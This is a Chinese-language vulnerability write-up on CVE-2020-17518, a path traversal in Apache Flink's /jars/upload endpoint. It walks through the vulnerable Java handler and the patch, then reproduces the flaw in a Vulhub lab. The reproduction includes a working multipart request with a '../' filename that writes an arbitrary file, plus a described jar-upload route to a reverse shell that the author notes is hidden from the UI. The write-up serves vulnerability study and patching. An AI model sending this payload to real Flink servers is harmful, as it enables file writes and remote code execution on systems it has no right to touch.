CVE-2020-17518源码分析与漏洞复现(Flink 路径遍历)

news2025/7/22 12:08:51

漏洞概述

漏洞名称:Apache Flink REST API 任意文件上传漏洞
漏洞编号:CVE-2020-17518
CVSS 评分:7.5
影响版本:Apache Flink 1.5.1 - 1.11.2
修复版本:≥ 1.11.3 或 ≥ 1.12.0
漏洞类型:路径遍历导致的任意文件写入
根本原因:REST API 处理文件上传时未对 filename 参数进行路径规范化校验,导致攻击者可通过 ../ 实现目录穿越,将文件写入任意路径。


技术细节与源码分析

1. 漏洞触发原理

攻击者向 Flink 的 /jars/upload 接口提交恶意构造的 multipart/form-data 请求,在 filename 参数中注入路径遍历序列(如 ../../../tmp/pwned),绕过安全校验将文件写入非预期目录。

2. 关键源码定位

漏洞类org.apache.flink.runtime.rest.handler.job.JarUploadHandler
漏洞方法handleRequest()

// 源码路径: flink-runtime/src/main/java/org/apache/flink/runtime/rest/handler/job/JarUploadHandler.java  
@Override
	protected CompletableFuture<JarUploadResponseBody> handleRequest(
			@Nonnull final HandlerRequest<EmptyRequestBody, EmptyMessageParameters> request,
			@Nonnull final RestfulGateway gateway) throws RestHandlerException {
		Collection<File> uploadedFiles = request.getUploadedFiles();
		if (uploadedFiles.size() != 1) {
			throw new RestHandlerException("Exactly 1 file must be sent, received " + uploadedFiles.size() + '.', HttpResponseStatus.BAD_REQUEST);
		}
		final Path fileUpload = uploadedFiles.iterator().next().toPath();
		return CompletableFuture.supplyAsync(() -> {
			if (!fileUpload.getFileName().toString().endsWith(".jar")) {
				throw new CompletionException(new RestHandlerException(
					"Only Jar files are allowed.",
					HttpResponseStatus.BAD_REQUEST));
			} else {
				final Path destination = jarDir.resolve(UUID.randomUUID() + "_" + fileUpload.getFileName());//未过滤路径遍历字符  
				try {
					Files.move(fileUpload, destination);//  执行文件写入
				} catch (IOException e) {
					throw new CompletionException(new RestHandlerException(
						String.format("Could not move uploaded jar file [%s] to [%s].",
							fileUpload,
							destination),
						HttpResponseStatus.INTERNAL_SERVER_ERROR,
						e));
				}
				return new JarUploadResponseBody(destination
					.normalize()
					.toString());
			}
		}, executor);

漏洞点分析
1.fileUpload.getFileName()

  • 直接使用用户输入的原始文件名(如 ../../../evil.jar

  • 未进行路径过滤或规范化处理

2.jarDir.resolve() 路径拼接

  • resolve()方法会将用户输入路径与系统路径拼接

  • 攻击者可构造 ../../etc/cron.d/pwn 实现目录穿越

3.Files.move() 文件写入

  • 无权限校验,直接写入目标路径

  • 服务进程通常以高权限(root)运行,可覆盖系统文件


3. 官方修复方案

修复提交:a5264a6f4152
修复代码

// 修复后:使用 getName() 剥离路径信息  
String fileName = new File(fileUpload.getFilename()).getName(); // 仅保留文件名  
Path dest = Paths.get(uploadDir).resolve(fileName);  

修复效果

  • getName() 方法提取文件名(如 ../../pwn.txtpwn.txt),阻断目录穿越。
  • 增加路径规范化逻辑,拒绝包含 .. 的输入。

漏洞复现

环境搭建

1.使用 Vulhub 环境启动漏洞靶机
 docker-compose up -d 

在这里插入图片描述

2.访问访问 http://target:8081,确认服务正常运行

在这里插入图片描述

攻击步骤

上传文件
1.发送如下数据包,即可上传一个文件到目标服务器的 /tmp/success 位置:
POST /jars/upload HTTP/1.1
Host: localhost:8081
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryoZ8meKnrrso89R6Y
Content-Length: 187

------WebKitFormBoundaryoZ8meKnrrso89R6Y
Content-Disposition: form-data; name="jarfile"; filename="../../../../../../tmp/success"

success
------WebKitFormBoundaryoZ8meKnrrso89R6Y--

在这里插入图片描述

2.进入容器中验证
docker exec -it 容器id  /bin/bash

在这里插入图片描述

  • 上传成功
getshell
1.下载工具Goby
2.打开工具扫描靶机

在这里插入图片描述

  • 发现漏洞
3. 验证漏洞

在这里插入图片描述

4.成功getshell

在这里插入图片描述

  • getshell的原理应该是通过拼接路径,上传恶意jar包到/tmp/flink-web-*/flink-web-upload/目录下,即可执行反弹shell的命令。
  • 相比通过Submit New Job处上传jar包,通过利用CVE-2020-17518漏洞上传的jar包,并不会在前台显示,因此具有一定的隐蔽性。

修复与缓解建议

  1. 官方升级:升级至 Flink ≥ 1.11.3 或 ≥ 1.12.0。
  2. 临时加固
    • 禁用未使用的REST API(如 jobmanager/jars/upload)。
    • 部署WAF规则拦截 filename 中的 ../ 或空字符(%00)。
  3. 权限控制:以低权限账户运行Flink服务,限制目录写入范围。

总结

CVE-2020-17518 的根源在于 路径解析与用户输入的信任失衡。其利用链清晰展示了未过滤的用户输入如何通过路径遍历转化为RCE风险。修复需从代码层强化输入校验(如 getName() 剥离路径),并结合运行时防护(如权限最小化)。该漏洞的广泛利用(如Mirai僵尸网络)凸显了中间件安全在云原生架构中的关键性。


参考链接

  1. CVE-2020-17518 漏洞修复提交记录
  2. 漏洞原理与利用链分析(FreeBuf)
  3. 从文件上传到一键GetShell实战(天达云)
  4. Windows环境复现指南(FreeBuf)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2401375.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Excel表格批量下载 CyberWin Excel Doenlaoder 智能编程-——玄武芯辰

使用 CyberWin Excel Downloader 进行 Excel 表格及各种文档的批量下载&#xff0c;优势显著。它能大幅节省时间&#xff0c;一次性获取大量所需文档&#xff0c;无需逐个手动下载&#xff0c;提升工作效率。可确保数据完整性与准确性&#xff0c;避免因重复操作产生失误。还便…

可编辑PPT | 基于大数据中台新能源智能汽车应用解决方案汽车大数据分析与应用解决方案

这份文档是一份关于新能源智能汽车应用解决方案的详细资料&#xff0c;它深入探讨了智能汽车行业的发展趋势&#xff0c;指出汽车正从单纯交通工具转变为网络入口和智能设备&#xff0c;强调了车联网、自动驾驶、智能娱乐等技术的重要性。文档提出了一个基于大数据中台的车企数…

k8s集群安装坑点汇总

前言 由于使用最新的Rocky9.5,导致kubekey一键安装用不了&#xff0c;退回Rocky8麻烦机器都建好了&#xff0c;决定手动安装k8s&#xff0c;结果手动安装过程中遇到各种坑&#xff0c;这里记录下&#xff1b; k8s安装 k8s具体安装过程可自行搜索&#xff0c;或者deepseek; 也…

从 Stdio 到 HTTP SSE,在 APIPark 托管 MCP Server

MCP&#xff08;Model Context Protocol&#xff0c;模型上下文协议&#xff09; 是一种由 Anthropic 公司于 2024 年 11 月推出的开源通信协议&#xff0c;旨在标准化大型语言模型&#xff08;LLM&#xff09;与外部数据源和工具之间的交互。 它通过定义统一的接口和通信规则…

Mysql锁及其分类

目录 InnoDb锁Shared locks(读锁) 和 Exclusive locks(写锁)Exclusive locksShared locks Intention Locks(意向锁)为什么要有意向锁&#xff1f; Record Locks&#xff08;行锁&#xff09;Gap Locks&#xff08;间隙锁&#xff09;Next-Key LocksInsert Intention Locks(插入…

Postgresql源码(146)二进制文件格式分析

相关 Linux函数调用栈的实现原理&#xff08;X86&#xff09; 速查 # 查看elf头 readelf -h bin/postgres# 查看Section readelf -S bin/postgres (gdb) info file (gdb) maint info sections# 查看代码段汇编 disassemble 0x48e980 , 0x48e9b0 disassemble main# 查看代码段某…

【设计模式-4.11】行为型——解释器模式

说明&#xff1a;本文介绍行为型设计模式之一的解释器模式 定义 解释器模式&#xff08;Interpreter Pattern&#xff09;指给定一门语言&#xff0c;定义它的文法的一种表示&#xff0c;并定义一个解释器&#xff0c;该解释器使用该表示来解释语言中的句子。解释器模式是一种…

【已解决】MACOS M4 芯片使用 Docker Desktop 工具安装 MICROSOFT SQL SERVER

1. 环境准备 确认 Docker Desktop 配置 确保已安装 Docker Desktop for Mac (Apple Silicon)&#xff08;版本 ≥ 4.15.0&#xff09;。开启 Rosetta&#xff08;默认开启&#xff09;&#xff1a; 打开 Docker Desktop → Settings → General → Virtual Machine Options …

Quipus系统的视频知识库的构建原理及使用

1 原理 VideoRag在LightRag基础上增加了对视频的处理&#xff0c;详细的分析参考LightRag的兄弟项目VideoRag系统分析-CSDN博客。 Quipus的底层的知识库的构建的核心流程与LightRag类似&#xff0c;但在技术栈的选择和处理有所不同。Quipus对于视频的处理实现&#xff0c;与Vi…

web3-去中心化金融深度剖析:DEX、AMM及兑换交易传播如何改变世界

web3-去中心化金融深度剖析&#xff1a;DEX、AMM及兑换交易传播如何改变世界 金融问题 1.个人投资&#xff1a;在不同的时间和可能的情况&#xff08;状态&#xff09;下积累财富 2.商业投资&#xff1a;为企业家和企业提供投资生产性活动的资源 目标&#xff1a;跨越时间和…

国芯思辰|SCS5501/5502芯片组打破技术壁垒,重构车载视频传输链路,兼容MAX9295A/MAX96717

在新能源汽车产业高速发展的背景下&#xff0c;电机控制、智能驾驶等系统对高精度信号处理与高速数据传输的需求持续攀升。 针对车载多摄像头与自动驾驶辅助系统对长距离、低误码率、高抗干扰性数据传输的需求&#xff0c;SCS5501串行器与SCS5502解串器芯片组充分利用了MIPI A…

压敏电阻的选型都要考虑哪些因素?同时注意事项都有哪些?

压敏电阻&#xff0c;英文名简称VDR&#xff0c;电子元器件中重要的成员之一&#xff0c;是一种非线性伏安特性的电阻器件&#xff0c;有电阻特性的同时&#xff0c;也拥有其他自身的特性&#xff0c;广泛应用于众多领域。在电源系统、安防系统、浪涌抑制器、电动机保护、汽车电…

用WPDRRC模型,构建企业安全防线

文章目录 前言什么是 WPDRRC 模型预警&#xff08;Warning&#xff09;保护&#xff08;Protection&#xff09;检测&#xff08;Detection&#xff09;响应&#xff08;Response&#xff09;恢复&#xff08;Recovery&#xff09;反击&#xff08;Counterattack&#xff09; W…

使用 Amazon Q Developer CLI 快速搭建各种场景的 Flink 数据同步管道

在 AI 和大数据时代&#xff0c;企业通常需要构建各种数据同步管道。例如&#xff0c;实时数仓实现从数据库到数据仓库或者数据湖的实时复制&#xff0c;为业务部门和决策团队分析提供数据结果和见解&#xff1b;再比如&#xff0c;NoSQL 游戏玩家数据&#xff0c;需要转换为 S…

Linux 里 su 和 sudo 命令这两个有什么不一样?

《小菜狗 Linux 操作系统快速入门笔记》目录&#xff1a; 《小菜狗 Linux 操作系统快速入门笔记》&#xff08;01.0&#xff09;文章导航目录【实时更新】 Linux 是一个多用户的操作系统。在 Linux 中&#xff0c;理论上来说&#xff0c;我们可以创建无数个用户&#xff0c;但…

JAVASCRIPT 简化版数据库--智能编程——仙盟创梦IDE

// 数据模型class 仙盟创梦数据DM {constructor(key) {this.key ${STORAGE_PREFIX}${key};this.data this.加载数据();}加载数据() {return JSON.parse(localStorage.getItem(this.key)) || [];}保存() {localStorage.setItem(this.key, JSON.stringify(this.data));}新增(it…

命名管道实现本地通信

目录 命名管道实现通信 命名管道通信头文件 创建命名管道mkfifo 删除命名管道unlink 构造函数 以读方式打开命名管道 以写方式打开命名管道 读操作 写操作 析构函数 服务端 客户端 运行结果 命名管道实现通信 命名管道通信头文件 #pragma#include <iostream> #include &l…

iOS上传应用包错误问题 “Invalid bundle. The “UIInterfaceOrientationPortrait”“

引言 在开发 iOS 应用的整个生命周期中&#xff0c;打包上传到 App Store 是一个至关重要的步骤。每一次提交&#xff0c;Xcode 都会在后台执行一系列严格的校验流程&#xff0c;包括对 Info.plist 配置的检查、架构兼容性的验证、资源完整性的审查等。如果某些关键项配置不当…

猎板厚铜PCB工艺能力如何?

在电子产业向高功率、高集成化狂奔的今天&#xff0c;电路板早已不是沉默的配角。当5G基站、新能源汽车、工业电源等领域对电流承载、散热效率提出严苛要求时&#xff0c;一块能够“扛得住大电流、耐得住高温”的厚铜PCB&#xff0c;正成为决定产品性能的关键拼图。而在这条赛道…

Flutter快速上手,入门教程

目录 一、参考文档 二、准备工作 下载Flutter SDK&#xff1a; 配置环境 解决环境报错 zsh:command not found:flutter 执行【flutter doctor】测试效果 安装Xcode IOS环境 需要安装brew&#xff0c;通过brew安装CocoaPods. 复制命令行&#xff0c;打开终端 分别执行…